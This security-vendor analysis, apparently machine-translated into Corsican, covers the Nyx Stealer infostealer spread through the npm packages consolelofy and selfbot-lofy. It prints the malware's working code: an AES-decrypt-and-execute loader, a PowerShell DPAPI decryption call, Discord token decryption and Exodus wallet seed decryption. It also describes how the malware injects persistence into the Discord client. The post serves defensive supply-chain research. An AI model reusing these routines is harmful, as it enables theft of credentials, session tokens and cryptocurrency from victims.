TL; DR
A squadra di ricerca di sicurezza Xygeni hà identificatu una campagna sofisticata di furtu d'infurmazioni npm trasmessa per mezu di dui pacchetti maliziosi: consolelofy e selfbot-lofy.
L'ultima versione (consolelofy@1.3.0) incorpora un payload crittografatu AES di 216KB chì decifra à u mumentu di l'esecuzione è s'esegue via vm.runInNewContext()Siccomu a logica maligna hè cumpletamente criptata, i scanner statichi chì si basanu nantu à l'ispezione di stringhe ùn ponu micca osservà u so cumpurtamentu finu à u mumentu di l'esecuzione.
Una volta decifratu, u payload, marcatu internamente Ladru di Nyx, miri:
- Gettoni d'autentificazione Discord
- Più di 50 magazzini di credenziali di navigatore
- Più di 90 estensioni di portafogliu di criptovalute
- Sessioni di Roblox, Instagram, Spotify, Steam, Telegram è TikTok
- Persistenza di u cliente di desktop Discord
Tutte e 20 versioni in i dui pacchetti sò state segnalate è cunfirmate maliziose.
Panoramica tecnica di questu Infostealer npm
À u cuntrariu di i malware tradiziunali in tempu d'installazione, sta campagna si basa nantu à un runtime mudellu di decifrazione.
Ci hè:
- Nisun maliziosu
preinstallorpostinstallhooks - Nisuna chjama di rete evidente in tempu d'installazione
- Nisuna logica di raccolta di credenziali in testu chjaru
U payload s'attiva quandu u modulu hè impurtatu. Tuttu u corpu maliziosu hè criptatu è si materializza in memoria solu durante l'esecuzione.
Stu cuncepimentu evita specificamente a rilevazione durante l'installazione di u pacchettu.
Cumu questu Infostealer npm funziona in realtà
Prima di analizà ciò chì Nyx Stealer arrubba, ci vole à capisce cumu si esegue.
A logica maligna in questu infostealer npm seguita un schema coerente:
Un picculu loader decifra un grande payload criptatu è l'esegue dinamicamente in un cuntestu di VM Node.js.
Stu cuncepimentu hè deliberatu. L'attaccante ùn piatta micca a funziunalità daretu solu à l'offuscazione, ma hè rimuovendu cumpletamente u codice maliziosu da a visibilità statica.
Modellu d'esecuzione d'altu livellu
À un livellu altu, u wrapper face quattru cose:
- Deriva una chjave AES da una frase secreta codificata cù SHA-256
- Decifra un grande testu cifratu codificatu in esadecimale cù AES-256-CBC
- Esegue u JavaScript decifratu aduprendu
vm.runInNewContext() - Fornisce una sandbox chì espone sempre primitive di runtime putenti
Riassuntu di a Tecnica Core
| Componenti | Cunfigurazione / Valore |
|---|---|
| Algoritmu | AES-256-CBC |
| Derivazione chjave | SHA-256 (frase d'accessu) |
| Vettore d'inizializazione (IV) | 16 byte di 0x00 |
| esicuzzioni | vm.runInNewContext (decifratu, sandbox) |
Criticamente, a sandbox passa per:
requireprocessBuffer- cronometri
- esportazioni di moduli
Questu significa chì u payload decifratu mantene a piena capacità di:
- Prucessi di spawn
- Leghje è scrive i fugliali
- Fate chjamate di rete
- Mudificà l'applicazioni lucali
Questa ùn hè micca una VM ristretta. Hè una VM aduprata cum'è trampolinu d'esecuzione.
Schema di crittografia in tempu d'esecuzione (meccanismu d'esecuzione principale)
U caricatore hè chjucu.
U corpu maliziosu ùn hè micca.
Quì sottu hè u schema d'esecuzione truvatu in u pacchettu:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Perchè Questa Materia
U payload decifratu:
- paggina micca esiste in testu chjaru in u pacchettu npm
- Hè invisibile à i simplici
grepo scansione statica di stringhe - Si materializza solu in memoria à l'esecuzione
- Esegue cù tutte e capacità di runtime di Node
Questa cumbinazione d'esecuzione AES + VM hè un forte indicatore di cumpurtamentu di un npm infostealer chì prova à evità l'ispezione statica.
In altre parolle:
Sè vo scanate l'arburu surghjente di u pacchettu, ùn vedi micca un ladru.
Vedete un decifratore.
Ciò chì succede dopu a decrittazione
Una volta eseguitu, Nyx Stealer lancia onde parallele di raccolta di dati.
Onda 1: Estrazione di credenziali di u navigatore
U malware:
- Scarica un runtime Python da NuGet CDN
- Installa librerie crittografiche
- Estrae i magazzini di credenziali basati nantu à u cromu
- Decifra i sicreti prutetti da DPAPI
Invece di cumpilà i ligami nativi, sfrutta PowerShell per chjamà direttamente Windows DPAPI.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Questu approcciu:
- Evita l'artefatti di compilazione
- Utilizza l'API di crittografia native di Windows
- Si fonde in strumenti amministrativi
Hè una decrittazione di credenziali à livellu di sistema operatore, micca un scraping.
Onda 2: Decifrazione di u Token Discord
U ladru hè cusciente di u protocolu. Capisce u furmatu di token criptatu di Discord.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Flussu operativu:
- Estrae a chjave maestra da Discord
Local State - Decifrate a chjave maestra via DPAPI
- Decifra i blob di token AES-GCM
- Validà i gettoni contr'à l'API Discord
- Arricchisci cù Nitro, badge, informazioni di fatturazione
Questu ùn hè micca un dumping di credenziali genericu. Hè un dirottamentu di sessione chì rispetta u protocolu.
Onda 3: Targeting di Portafogli di Criptovalute
L'infostealer npm enumera:
- Più di 90 estensioni di portafogliu di navigatore
- 27 portafogli di desktop
- Percorsi di portafogliu fretu
- File di sementi di Exodus
Esempiu di tentativu di decifrazione di seed:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } S'ellu ci hè successu, u compromessu di u portafogliu hè immediatu è irreversibile.
Questu rapprisenta u vettore di monetizazione di più altu valore di a campagna.
Persistenza via Discord Desktop Injection
Dopu avè raccoltu credenziali, Nyx Stealer prova a persistenza mudificendu u lucale Discord cliente.
Target:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Sequenza Operativa
L'infostealer esegue i seguenti passi:
- Termina i prucessi Discord in esecuzione
- Localizza e varianti di Discord installate (Stable, Canary, PTB)
- Sovrascritte
discord_desktop_core/index.js - Injecta una logica di webhook cuntrullata da l'attaccante
- Riavvia Discord
Questu assicura chì e sessioni Discord future filtrinu automaticamente novi gettoni d'autenticazione.
Impurtantemente, sta persistenza ùn si basa micca nantu à i travaglii pianificati o e mudificazioni di u registru. Sfrutta a mudificazione di u codice à livellu d'applicazione, un approcciu più discretu.
Ancu s'è u pacchettu npm maliziosu hè dopu eliminatu, u cliente Discord ferma cumprumessu.
Paragone Tecnicu: Selfbot Legittimu vs Infostealer npm
| Componenti | Biblioteca Legittima | Nyx npm Infostealer |
|---|---|---|
| bez | None | Caricamentu cumpletu criptatu AES |
| VM in tempu d'esecuzione | Micca dumandatu | vm.runInNewContext esecutà |
| Accessu à e credenziali | Solu l'API Discord | Navigatore, portafogli, DPAPI |
| Scaricamenti Esterni | Innò | Runtime Python via NuGet |
| Persistenza | Innò | Iniezione di u cliente Discord |
| Monetizazione | Automatizazione di i bot | Rivendita di credenziali |
U stratu di crittografia solu separa digià sta campagna da una tipica furchetta open-source.
Un selfbot Discord legittimu ùn hà nisuna ragione per criptà tutta a so basa di codice, generà PowerShell per accede à DPAPI, scaricà runtime esterni, o mudificà l'internu di l'applicazione desktop. Quandu queste capacità appariscenu in una dipendenza chì pretende di automatizà l'interazioni Discord, a discrepanza architettonica diventa impussibile da ignurà.
Da un puntu di vista d'inchiesta, questu infostealer npm lascia tracce in parechji strati. Tuttavia, l'indicatori più affidabili ùn sò micca URL codificati o percorsi di file specifici, postu chì quelli ponu cambià trà e versioni. Invece, i signali durevuli sò strutturali.
À u livellu di u pacchettu, a bandera rossa più forte hè a cumbinazione di un grande payload criptatu è un wrapper di decrittazione in tempu reale chì si esegue immediatamente via vm.runInNewContext()Mentre chì a crittografia da sola ùn hè micca intrinsecamente maligna, l'usu di a decrittazione AES seguita da l'esecuzione dinamica di VM in un pacchettu di utilità Discord hè assai anomalu.
À u livellu di l'ospite, i mudelli suspetti includenu l'attività di decrittazione DPAPI inaspettata, a generazione di prucessi da un cuntestu di dipendenza Node.js, è a mudificazione di i fugliali di l'applicazione lucale chì ùn devenu mai esse alterati da biblioteche di terze parti. In listessu modu, à u livellu di rete, a cumunicazione in uscita in stile webhook iniziata da una dipendenza di sviluppu rapprisenta un'altra anomalia significativa.
In altre parolle, a superficia di rilevazione ùn hè micca un unicu indicatore di compromissione. Hè a currelazione di a crittografia, l'esecuzione in tempu reale, l'accessu à e credenziali è u cumpurtamentu di persistenza chì rivela a minaccia.
Rilevazione è Mitigazione cù Xygeni
Stu ladrone d'infurmazioni npm hè statu identificatu da L'avvisu precoce di malware (MEW) di Xygeni per via di a currelazione cumportamentale stratificata piuttostu chè di a semplice currispundenza di firma.
Invece di circà stringhe maliziose cunnisciute, MEW valuta anomalie strutturali in tuttu l'arburu surghjente. In questu casu, a rilevazione hè emersa da a cunvergenza di parechji signali: una rutina di decrittazione AES integrata in u puntu d'entrata di u modulu, esecuzione immediata in un cuntestu VM, è una chiara discrepanza trà capacità è intenzione.
Impurtantemente, nisunu di sti signali da per ellu ùn prova micca una intenzione maliziosa. Tuttavia, quandu sò analizati inseme, palesanu un tentativu di ammuccià u cumpurtamentu in tempu reale. Questu approcciu à più livelli riduce significativamente i falsi pusitivi mentre identifica e minacce di a catena di furnimentu di alta fiducia.
Inoltre, questu casu illustra perchè l'ispezione in tempu d'installazione da sola ùn hè micca sufficiente. A logica maligna ùn si trova micca in i script di u ciclu di vita. Si attiva solu dopu chì u modulu hè caricatu è diventa visibile solu una volta decifratu in memoria. Dunque, una difesa efficace richiede analisi sensibili à a crittografia, ricunniscenza di mudelli di cumpurtamentu è monitoraghju continuu di e dipendenze al di là di l'eventi d'installazione.
A rimozione di u registru hè reattiva. L'analisi chì rispetta u runtime hè preventiva.
Perchè questu Infostealer npm hè impurtante
Nyx Stealer rapprisenta una evoluzione strutturale in u malware basatu annantu à npm.
Storicamente, parechji pacchetti maliziosi si basavanu nantu à script visibili in tempu d'installazione o endpoint evidenti di esfiltrazione di credenziali. In cuntrastu, sta campagna cripta u so payload, differisce l'esecuzione à u runtime, sfrutta API legittime di u sistema operativu è stabilisce a persistenza in l'applicazioni affidabili.
Di cunsiguenza, l'attaccante ùn hà micca bisognu di sfruttà l'infrastruttura npm stessa. Invece, l'attaccu riesce perchè l'installazione di dipendenze implica fiducia. I sviluppatori supponenu chì l'importazione di una biblioteca sia un'operazione sicura, in particulare quandu si presenta cum'è una fork plausibile di un strumentu pupulare.
À misura chì l'ecosistemi cuntinueghjanu à cresce è e forche proliferanu, quella fruntiera di fiducia implicita diventa una superficia d'attaccu sempre più attraente. Dunque, a difesa contr'à i ladri d'infurmazioni npm muderni richiede u ricunniscimentu di mudelli architettonichi piuttostu chè a ricerca di stringhe statiche.
In fine, sta campagna rinforza una lezziò cruciale in software supply chain security: e minacce più periculose ùn sò micca quelle chì parenu maliziose à prima vista, ma quelle chì parenu strutturalmente legittime finu à chì u tempu d'esecuzione ùn palesa u so veru cumpurtamentu.




